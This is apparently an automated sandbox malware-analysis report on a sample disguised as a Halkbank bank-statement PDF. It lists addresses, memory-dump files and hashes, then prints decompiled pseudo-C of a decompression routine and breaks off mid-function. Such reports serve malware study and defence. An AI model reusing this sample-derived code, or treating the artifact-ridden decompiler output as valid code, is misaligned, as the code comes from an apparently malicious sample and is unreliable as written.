0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00407447
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00407447
0x00407447
0x00000000
0x0040744d
0x00407447
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x00000000
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00407447
0x004073ce
0x004073cb
0x00000000
0x00407002

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ccf24f4e081119859c9f0e48baaaa1d38e3934f3a3b1d8a87677b84cb71901f
Instruction ID: 4a3513360c1d1cc4287bdabe5afcaa460628bed3c0d7ae87261646ca99be8a9f
Opcode Fuzzy Hash: 7ccf24f4e081119859c9f0e48baaaa1d38e3934f3a3b1d8a87677b84cb71901f
Instruction Fuzzy Hash: 0D711271D04228DBEF28CF98C9947ADBBF1FB44305F14806AD856B7280D738A986DF05

Uniqueness

Uniqueness Score: -1.00%

Function 0040711C Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040711C() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4));
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8));
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
